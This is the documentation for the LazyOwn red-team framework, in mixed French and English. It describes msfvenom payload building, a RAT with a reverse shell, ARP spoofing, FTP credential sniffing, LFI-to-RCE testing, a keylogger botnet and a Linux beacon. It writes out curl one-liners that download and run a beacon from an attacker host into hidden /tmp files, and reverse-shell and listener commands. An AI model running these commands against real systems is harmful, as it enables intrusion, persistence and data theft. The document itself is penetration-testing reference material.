Cette fonction invite l'utilisateur à sélectionner un type de payload dans une liste prédéfinie et exécute la commande
`msfvenom` correspondante pour créer le payload souhaité. Elle gère des tâches telles que la génération de différents types de
payloads pour les systèmes Linux, Windows, macOS et Android, y compris l'encodage optionnel avec Shikata Ga Nai pour les payloads C.
Les payloads générés sont déplacés vers un répertoire `sessions`, où les permissions appropriées sont définies. De plus,
les payloads peuvent être compressés avec UPX pour économiser de l'espace. Si le payload sélectionné est un APK Android,
la fonction signera également l'APK et effectuera les étapes de post-traitement nécessaires.
:param line: Arguments de ligne de commande pour le script.
:return: None```sh
run lazymsfvenom or venom
## Système de commandement et de contrôle
Le système de commandement et de contrôle (C2) permet des opérations à distance via une architecture serveur-client avec des communications chiffrées.
## Utiliser le détournement de PATH paresseux
Un fichier sera créé dans /tmp avec le nom binary_name défini dans le payload, initialisé avec gzip en mémoire, et utilisant bash dans le payload. Pour définir le payload depuis le JSON, utilisez la commande payload pour exécuter. Utilisez :```sh
lazypathhijacking
LazyOwn RAT est un outil d'administration à distance simple mais puissant. Il dispose d'une fonction de capture d'écran qui capture l'écran du serveur, d'une commande d'upload qui nous permet de téléverser des fichiers sur la machine compromise, et d'un mode C&C où des commandes peuvent être envoyées au serveur. Il fonctionne selon deux modes : mode client et mode serveur. Il n'y a aucune obfuscation, et le RAT est basé sur BasicRat. Vous pouvez le trouver sur GitHub à l'adresse https://github.com/awesome-security/basicRAT et à l'adresse https://github.com/hash3liZer/SillyRAT. Bien que ce dernier soit bien plus complet, je voulais simplement implémenter la capture d'écran, le téléversement de fichiers et l'envoi de commandes. Peut-être qu'à l'avenir, j'ajouterai une fonctionnalité de visualisation par webcam, mais cela viendra plus tard.```sh usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient [?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver [?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file donwload /path/to/file screenshot sysinfo fix_xauth #to fix xauth xD lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C
## Utiliser le mode Lazy Meta Extract0r
LazyMeta Extract0r est un outil conçu pour extraire les métadonnées de divers types de fichiers, notamment les PDF, DOCX, les fichiers OLE (tels que DOC et XLS), ainsi que plusieurs formats d'image (JPG, JPEG, TIFF). Cet outil parcourt un répertoire spécifié, recherche les fichiers ayant des extensions compatibles, extrait les métadonnées et les enregistre dans un fichier de sortie.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH
lazyown_metaextract0r.py: error: the following arguments are required: --path```sh
python3 lazyown_metaextract0r.py --path /home/user
Une méthode de chiffrement qui nous permet à la fois de chiffrer des fichiers et de les déchiffrer si nous possédons la clé, bien entendu.
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt
## Utilisation du mode LazyNmap
L'utilisation de Lazynmap nous fournit un script automatisé pour une cible, dans ce cas, 127.0.0.1, en utilisant Nmap. Le script nécessite des permissions administratives via sudo. Il inclut également un module de découverte réseau pour identifier ce qui est présent dans le segment IP dans lequel vous vous trouvez. De plus, le script peut désormais être appelé sans paramètres en utilisant l'alias nmap ou avec la commande run lazynmap.
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
Découvrez la révolution dans l'automatisation des tâches de pentesting avec l'assistant CLI LazyOwn GPT One Liner ! Ce script incroyable fait partie de la suite d'outils LazyOwn, conçu pour rendre votre vie de pentester plus efficace et productive.
Fonctionnalités clés :
Automatisation intelligente : Exploite la puissance de Groq et des modèles de langage naturel avancés pour générer des commandes précises et efficaces en fonction de vos besoins spécifiques. Interface conviviale : Avec un simple prompt, l'assistant génère et exécute des scripts one-liner, réduisant drastiquement le temps et les efforts nécessaires à la création de commandes complexes. Amélioration continue : Transforme et optimise en permanence sa base de connaissances pour vous fournir les meilleures solutions, en s'adaptant à chaque situation. Débogage simplifié : Activez le mode debug pour obtenir des informations détaillées à chaque étape, facilitant l'identification et la correction des erreurs. Intégration transparente : Fonctionne sans effort dans votre espace de travail, exploitant la puissance de l'API Groq pour fournir des réponses rapides et précises. Sécurité et contrôle :
Gestion sécurisée des erreurs : Détecte et répond intelligemment aux erreurs d'exécution, vous garantissant un contrôle total sur chaque commande générée. Exécution contrôlée : Avant d'exécuter toute commande, il demande votre confirmation, vous offrant la tranquillité d'esprit en sachant exactement ce qui est exécuté sur votre système. Configuration facile :
Configurez votre clé API en quelques secondes et commencez à profiter de tous les avantages offerts par l'assistant CLI LazyOwn GPT One Liner. Un guide de démarrage rapide est disponible pour vous aider à configurer et maximiser le potentiel de cet outil puissant.
Idéal pour les pentesters et les développeurs :
Optimisez vos processus : Simplifiez et accélérez la génération de commandes dans vos audits de sécurité. Apprentissage continu : La base de connaissances est constamment mise à jour et améliorée, vous fournissant toujours les dernières bonnes pratiques et solutions. Avec l'assistant CLI LazyOwn GPT One Liner, transformez votre façon de travailler, en la rendant plus rapide, plus efficace et plus sécurisée. Arrêtez de perdre du temps sur des tâches répétitives et complexes, et concentrez-vous sur ce qui compte vraiment : découvrir et résoudre les vulnérabilités !
Rejoignez la révolution du pentesting avec LazyOwn et faites passer votre productivité au niveau supérieur !
[?] Usage: python lazygptcli.py --prompt "" [--debug]
[?] Options:
--prompt "The prompt for the programming task (required)." --debug, -d "Enables debug mode to display debug messages." --transform "Transforms the original knowledge base into an enhanced base using Groq." [?] Ensure you configure your API key before running the script: export GROQ_API_KEY=<your_api_key> [->] Visit: https://console.groq.com/docs/quickstart (not a sponsored link)
Prérequis :
Python 3.x Une clé API Groq valide Étapes pour obtenir la clé API Groq : Visitez Groq Console (https://console.groq.com/docs/quickstart) pour vous inscrire et obtenir une clé API.```sh export GROQ_API_KEY=<tu_api_key> python3 lazygptcli.py --prompt "" [--debug]
## Utilisation de lazyown_bprfuzzer.py
Fournissez les arguments comme spécifié par les requêtes du script : Le script nécessitera les arguments suivants :
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA]
[--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE]
--url : L'URL à laquelle la requête sera envoyée (requis).
--method : La méthode HTTP à utiliser, telle que GET ou POST (optionnel, par défaut : GET).
--headers : Les en-têtes de la requête au format JSON (optionnel, par défaut : {}).
--params : Les paramètres d'URL au format JSON (optionnel, par défaut : {}).
--data : Les données de formulaire au format JSON (optionnel, par défaut : {}).
--json_data : Les données JSON pour la requête au format JSON (optionnel, par défaut : {}).
--proxy_port : Le port du proxy interne (optionnel, par défaut : 8080).
-w, --wordlist : Le chemin vers la wordlist pour le mode fuzzing (optionnel).
-hc, --hide_code : Le code de statut HTTP à masquer dans la sortie (optionnel).
Assurez-vous de fournir les arguments requis pour garantir le bon fonctionnement du script.```sh
python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
Forme 2 : Utilisation avancée
Si vous souhaitez tirer parti des fonctionnalités avancées du script, telles que la relecture de requêtes ou le fuzzing, suivez ces étapes :
Relecture de requêtes :
Pour utiliser la fonctionnalité de relecture de requêtes, fournissez les arguments comme indiqué précédemment. Pendant l'exécution, le script demandera si vous souhaitez répéter la requête. Saisissez 'y' pour répéter ou 'n' pour terminer le répéteur. Fuzzing :
Pour utiliser la fonctionnalité de fuzzing, assurez-vous de fournir une wordlist avec l'argument -w ou --wordlist.
Le script remplacera le mot LAZYFUZZ dans l'URL et les autres données par les mots de la wordlist fournie.
Pendant l'exécution, le script affichera les résultats de chaque itération de fuzzing.
Voici les manières basiques et avancées d'utiliser le script lazyburp.py. Selon vos besoins, vous pouvez choisir la méthode qui correspond le mieux à votre situation spécifique.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ"
--method POST
--headers '{"User-Agent": "LAZYFUZZ"}'
--params '{"param1": "value1", "param2": "LAZYFUZZ"}'
--data '{"key1": "LAZYFUZZ", "key2": "value2"}'
--json_data '{"key3": "LAZYFUZZ"}'
--proxy_port 8080
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt
-hc 501
[No content provided for translation.]```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
Remarque : pour utiliser le dictionnaire, exécutez la commande suivante dans /usr/share/seclists :```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip
&& unzip SecList.zip
&& rm -f SecList.zip
## Utilisation du mode d'écoute FTP de LazyOwn
Ce module sert à rechercher des mots de passe sur les serveurs FTP à travers le réseau. Certains diront que FTP n'est plus utilisé, mais vous seriez surpris des environnements d'infrastructure critique que j'ai vus avec d'énormes services FTP en fonctionnement sur leurs serveurs. :)```sh
assign device eth0
run lazyftpsniff
Écouter```sh nc -nlvp 1337 #o el puerto que escojamos
puis sur la machine victime```sh
./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337
Le module se trouve dans le répertoire modules et s'utilise comme suit :```sh chmod +x lazycurl.sh
et ensuite```sh
./lazycurl.sh --mode GET --url http://10.10.10.10
Utilisation.
GET :```sh ./lazycurl.sh --mode GET --url http://10.10.10.10
POST :```sh
./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1¶m2=value2"
TRACE :```sh ./lazycurl.sh --mode TRACE --url http://10.10.10.10
Téléversement de fichier :```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt
mode bruteforce de liste de mots :```sh ./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt
Assurez-vous d'ajuster les paramètres selon vos besoins et que les valeurs que vous fournissez pour les options sont valides dans chaque cas.
## Utilisation du mode ARPSpoofing
Le script fournit une attaque d'ARP spoofing utilisant Scapy. Dans le payload, vous devez définir lhost, rhost et l'appareil que vous utiliserez pour effectuer l'ARP spoofing.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing
Ce script offre une vue radiographique du système en question où l'outil est exécuté, offrant un aperçu de sa configuration et de son état.
```sh
run lazygath
## Utilisation du mode Lazy Own LFI RFI 2 RCE
Le mode LFI RFI 2 RCE est conçu pour tester certains des payloads les plus connus contre les paramètres spécifiés dans payload.json. Cela permet une évaluation complète des vulnérabilités de type Local File Inclusion (LFI), Remote File Inclusion (RFI) et Remote Code Execution (RCE) dans le système cible.
```sh
payload
run lazylfi2rce
Le mode sniffer permet de capturer le trafic réseau à travers les interfaces en utilisant l'option -i, qui est obligatoire. De nombreux autres paramètres optionnels peuvent être ajustés selon les besoins.
usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP] lazysniff.py: error: the following arguments are required: -i/--interface
To use the sniffer from the framework, you must configure the device with the command:
run lazysniff
ou juste
sniff```
### Experimental Obfuscation Using PyInstaller
This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.
```sh
./py2el.sh```
## Experimental NetBIOS Exploit
This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)
```sh
exécuter lazynetbios```
## Experimental LazyBotNet with Keylogger for Windows and Linux
This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.
```sh
payload
run lazybotnet```
## Interactive Menus
The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.
### Clean Interruption
The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.
## License
This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.
## Acknowledgments ✌
A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive
### Thanks to pwntomate 🍅
An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>
### Thanks to Sicat 🐈
An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>
### Thanks to josefcohernandez
For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.
### Thanks to EQSTLab (via yym8538)
For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.
## BlackSandBeacon — Linux BOF
**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.
### What is Linux BOF?
On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:
- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
(`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
`BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
kernel interaction without libc linking.
### Deployment via LazyOwn
```bash
# 1. Compiler et préparer le beacon
(LazyOwn) > blacksandbeacon
# 2. Livrer à la cible (la commande s'exécute sur la cible)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &
# 3. Compiler et préparer le chargeur BOF
(LazyOwn) > blacksandbeacon_bof
# 4. Livrer le chargeur BOF à une session active
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```
### Porting a Windows BOF to Linux
```c
// Remplacez les appels à l'API Win32 par des appels système directs ou des équivalents libc.
// L'API datap reste identique.
#include "beacon.h"
void go(char *args, int len) {
datap parser;
BeaconDataParse(&parser, args, len);
char *target = BeaconDataExtract(&parser, NULL);
// Linux : utilisez syscall(SYS_open, ...) au lieu de CreateFile
BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```
Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`
### Adoption gap this closes
| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |
## Related Projects
LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).
### Lightweight beacons (C / ASM)
Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:
- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.
### Lightweight C2 frameworks
Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:
- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.
### AI / orchestration
Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:
- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.
### Loaders, shellcode runners and post-exploitation
Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:
- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.
### Defensive bypass / instrumentation
- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.
### Exploits and CVE PoCs
LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:
- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.
> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.
## Abstract
LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.
## Lazyducky_digispark
Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.
This method checks if Arduino CLI and Micronucleus are installed on the system.
If they are not available, it installs them. It then compiles a Digispark sketch
and uploads the generated .hex file to the Digispark device.
The method performs the following actions:
1. Checks for the presence of Arduino CLI and installs it if not available.
2. Configures Arduino CLI for Digispark if not already configured.
3. Generates a reverse shell payload and prepares the sketch for Digispark.
4. Compiles the prepared Digispark sketch using Arduino CLI.
5. Checks for the presence of Micronucleus and installs it if not available.
6. Uploads the compiled .hex file to the Digispark device using Micronucleus.
Args:
line (str): Command line input provided by the user, which may contain additional parameters.
Returns:
None: The function does not return any value but may modify the state of the system
by executing commands.
## Star History
<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
</picture>
</a>
# Documentation by readmeneitor.py
Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.
## ReadMenator now have a repository
[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)
# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
---
<!-- START UTILS -->
# LazyOwn Command Reference
Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.
## Table of Contents
- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)
---
## 01. Reconnaissance
### `alterx`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'
### `apache_users`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs enumeration of users from a target system using `apache-users`.
### `binarycheck`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs various checks on a selected binary to gather information and protections.
### `cve`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Search for a CVE using the CIRCL API.
### `dig`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Executes the `dig` command to query DNS information.
### `dnschef`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the DNSChef tool to monitor DNS queries and intercept responses.
### `dnsenum`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.
### `dnsmap`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs DNS enumeration using `dnsmap` to discover subdomains for a specified domain.
### `dnstool_py`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the dnstool.py tool to modify Active Directory-integrated DNS records.
### `estorides_import`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Import Estorides-discovered entities into LazyOwn database and scope.
### `estorides_loop`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Run the bidirectional Estorides <-> LazyOwn feedback loop.
### `estorides_seed`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.
### `estorides_surface`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Show the combined active + passive attack surface.
### `finalrecon`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Runs the `finalrecon` tool to perform a web server vulnerability scan against the specified target host.
### `getcap`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Retrieve and display file capabilities on the system.
### `gospider`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Try gospider for web spidering.
### `graudit`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the graudit command to perform a static code analysis with the specified options.
### `httprobe`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.
### `ipinfo`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Retrieves detailed information about an IP address using the ARIN API.
### `launchpad`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.
### `metabigor`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes Metabigor commands for OSINT and scanning tasks with guided input or predefined arguments.
### `openssl_sclient`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Uses `openssl s_client` to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.
### `ping`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Perform a ping to check host availability and infer the operating system based on TTL values.
### `ports`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Lists all open TCP and UDP ports on the local system.
### `proxy`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Runs a small proxy server to modify HTTP requests on the fly.
### `recon`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs reconnaissance on a specified self.params['domain'] using crt.sh (the target must be visible on internet), pup, httprobe, and EyeWitness.
### `serveralive2`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Command serveralive2: Uses Impacket to connect to a remote MSRPC interface and retrieves the server bindings.
### `sherlock`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the Sherlock tool to find usernames across social networks.
### `sslscan`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Run an SSL scan on the specified remote host.
### `surface`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Render the network surface graph in the terminal.
### `tcpdump_capture`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Starts packet capture using `tcpdump` on the specified interface.
### `tcpdump_icmp`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Starts `tcpdump` to capture ICMP traffic on the specified interface.
### `trace`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Traces the DNS information for a given self.params['domain'] using the FreeDNS service. (using freedns IP Not your IP)
### `trufflehog`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes trufflehog to search for secrets in a given Git repository URL.
### `tshark_analyze`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Analyzes a packet capture file using `tshark` based on the provided remote host IP.
### `waybackmachine`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Fetch URLs from the Wayback Machine for a given website.
### `whatweb`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs a web technology fingerprinting scan using `whatweb`.
### `windapsearchscrapeusers`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Extracts usernames from a JSON output generated by go-windapsearch and appends them
## 02. Scanning & Enumeration
### `ad_ldap_enum`
**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`
Executes ad-ldap-enum to enumerate Active Directory objects (users, groups, computers)
### `allin`
---
[Read more](https://github.com/grisuno/lazyown)
Porte de confirmation (confirm=true) | lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary, et tout run_command dont le corps correspond à rm -rf / exfil / wipe / encrypt-file exigent désormais un argument explicite confirm=true. | Empêche les actions destructrices accidentelles des boucles autonomes. |
| Provenance + confiance sur les identifiants | Chaque identifiant exposé via target_context inclut is_likely_credential, confidence, classification, et un bloc provenance (source_file, line_no, captured_at) lorsqu'il est trouvé. | Requis pour la chaîne de possession dans les rapports de pentest. |
| Annotations de fraîcheur | Chaque fichier de preuve dans le SITREP JSON et target_context porte age_seconds, age_human, et stale=true une fois qu'il dépasse freshness_threshold_seconds (7 jours par défaut ; configurable par appel). | Empêche l'agent d'exploiter sur la base de preuves de reconnaissance obsolètes. |
evilcmesecretsdumpPayloadAwareCompleter |
| Résolution dynamique des alias | cli/aliases.py utilise désormais lazy=True par défaut : les modèles d'alias conservent leurs placeholders {rhost}/{lhost}/etc. et sont rendus contre self.params au moment de l'exécution. set rhost X se propage à chaque alias à la frappe suivante (sans redémarrage du shell). La pré-substitution reste disponible avec lazy=False. | DynamicAliasResolver, cli/aliases.py |